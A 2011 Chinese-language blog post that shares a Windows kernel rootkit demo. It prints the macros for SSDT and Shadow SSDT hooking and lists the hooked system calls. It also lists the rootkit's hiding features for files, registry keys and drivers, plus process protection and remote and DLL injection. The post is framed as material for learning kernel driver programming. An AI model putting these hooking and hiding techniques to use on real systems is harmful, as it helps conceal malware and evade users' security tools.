2011年7月29日星期五

分享比較完整的ROOTKIT DEMO! 原來Shadow Hook和SSDT Hook一樣容易!

作 者: embedlinux


這裡寫的ROOTKIT比較簡單(有些代碼是消化別人的代碼後改寫過來的),高手跳過.......
包含以下內容:(詳細請看源代碼)
SSDT Hook
//hook system call
#define HOOK_SYSCALL(FuncName, pHookFunc, pOrigFunc ) \
          pOrigFunc = (PVOID)InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ SYSCALL_INDEX(FuncName) ], \
          (LONG)pHookFunc)
      
//unhook system call
#define UNHOOK_SYSCALL(FuncName, pHookFunc, pOrigFunc ) \
          InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ SYSCALL_INDEX(FuncName) ],\
          (LONG)pOrigFunc)
SSDT HOOK瞭如下函數:
ZwQueryValueKey
ZwEnumerateValueKey
ZwQueryDirectoryFile
ZwOpenProcess
ZwDeleteKey
ZwDeleteValueKey
ZwSaveKey
ZwLoadDriver
ZwSetSystemInformation
ZwTerminateProcess

Shadow Hook
仿照SSDT HOOK,下面定義兩個宏,讓Shadow Hook和SSDT Hook一樣簡單!
//hook shadow system call
#define HOOK_SHADOW_SYSCALL(SysCallIndex, pHookFunc, pOrigFunc ) \
          pOrigFunc = (PVOID)InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ (SysCallIndex) ], \
          (LONG)pHookFunc)
      
//unhook shadow system call
#define UNHOOK_SHADOW_SYSCALL(SysCallIndex, pHookFunc, pOrigFunc ) \
          InterlockedExchange( \
          (PLONG)&MappedSystemCallTable[ (SysCallIndex) ],\
          (LONG)pOrigFunc)
上週一接到騰訊的電話面試,由於有一段時間沒研究HOOK了,問到Shadow Hook時沒回答好!汗!
現在把Shadow Hook重新整理了一下!
Shadow Hook瞭如下函數,程序框架比較好,容易加入新掛鉤函數
NtUserFindWindowEx
NtUserGetForegroundWindow
NtUserQueryWindow
NtUserBuildHwndList
NtUserWindowFromPoint
NtUserSetWindowsHookEx
NtUserGetDC
NtUserGetDCEx
NtUserSendInput

為了保護進程,研究了終止進程的方法
WINDOWS內核定時器
老土的文件/目錄隱藏
註冊表鍵值隱藏
驅動隱藏
系統線程
IRP文件操作

多種加載內核級ROOTKIT方法
Ring3中恢復SSDT(ZwSystemDebugControl)
從資源釋放文件
遠程進程注入
消息鉤子注入DLL
查找窗口
查找進程

注意:不要隨便運行程序,最好在虛擬機下運行!此程序僅供學習WINDOWS內核驅動編程用!
在自己的ntddk.h中的結構IO_STACK_LOCATION添加如下代碼才能順利通過編譯:
//Parameters for IRP_MJ_DIRECTORY_CONTROL
struct {
   ULONG Length;
   PUNICODE_STRING FileName;
   FILE_INFORMATION_CLASS POINTER_ALIGNMENT \
   FileInformationClass;
} QueryDirectory;
下面兩圖分別是程序啟動信息和在Ring0恢復SSDT:

没有评论:

发表评论